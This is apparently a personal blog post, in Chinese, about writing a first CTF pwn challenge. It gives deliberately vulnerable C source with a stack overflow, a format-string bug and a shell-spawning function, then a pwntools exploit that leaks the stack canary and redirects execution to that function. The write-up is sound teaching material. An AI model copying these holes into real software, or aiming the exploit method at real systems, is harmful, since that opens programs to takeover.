第一次CTF出题记录
第一次CTF出题记录
0x01 前言
之前玩这个都是做题(虽然基本上都是看别的大佬的wp),这次自己试着出了几道题目,有了一次不完整的出题经历我个人整理的出题思路大致如下:
0x02 Pwn题目分析
- 写出含有漏洞的源代码
- 选择编译方式
- 自己编写漏洞利用思路和exp,得到flag
- 总结
一开始打算自己试着出一点难一点的题目,但是自己写出来源代码编译后发现自己做不出来,最后做了到十分简单的栈溢出,源代码如下:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char enter_identity();
int identification();
void getshell(void);
void init();
void vuln();
int main()
{
init();
char *username;
enter_identity(&username);
identification(&username);
puts("Hello Hacker!");
vuln();
return 0;
}
void init()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
char enter_identity(char *username)
{
char src[40];
puts("input yor username:");
scanf("%40s",&src);
for (int i=0;i<=39&&src[i];++i)
{
++src[i];
}
return strcpy(username,src);
}
int identification(char *username)
{
if(strcmp(username,"f4de"))
{
puts("who you are?");
exit(1);
}
return puts("welcome!");
}
void vuln()
{
char buf[0x20];
for(int i=0;i<2;i++)
{
read(0, buf, 0x50);
printf(buf);
}
}
void get_shell(void)
{
system("/bin/sh");
}
接下来简单说一下各个函数的作用:
init()——标准化输入输出
enter_identity(&username)——输入身份
identification(&username)——身份确认
vuln()——一个含有典型栈溢出漏洞的函数
编译时,我关闭了地址随机化
gcc pwn.c -o pwn -no-pie
自己写的exp如下:
# coding=utf-8
from pwn import *
context.log_level = 'debug'
p=process("./pwn")
#ip=""
#port=
#p=remote("ip",port)
elf=ELF("./pwn")
get_shell_addr = elf.sym['get_shell']
p.sendlineafter("input yor username:\n","e3cd")
payload='a'*0x20
p.sendlineafter("Hello Hacker!\n",payload)
p.recvuntil(payload)
canary= u32(p.recv(4))-0x0a
log.info("canary:"+hex(canary))
print(hex(canary))
payload='a'*0x20
payload+=p32(canary)
payload+='a'*12
payload+=p32(get_shell_addr)
p.sendline(payload)
p.interactive()
简单的栈溢出和绕过canary保护
0x03 总结
这篇文章主要写了下本次出题的过程,总体来说难度很小,自己在出题过程中也遇到了不少的问题,自己做题和看wp做题差别很大。希望这次出题会对我带来一定的收获。

浙公网安备 33010602011771号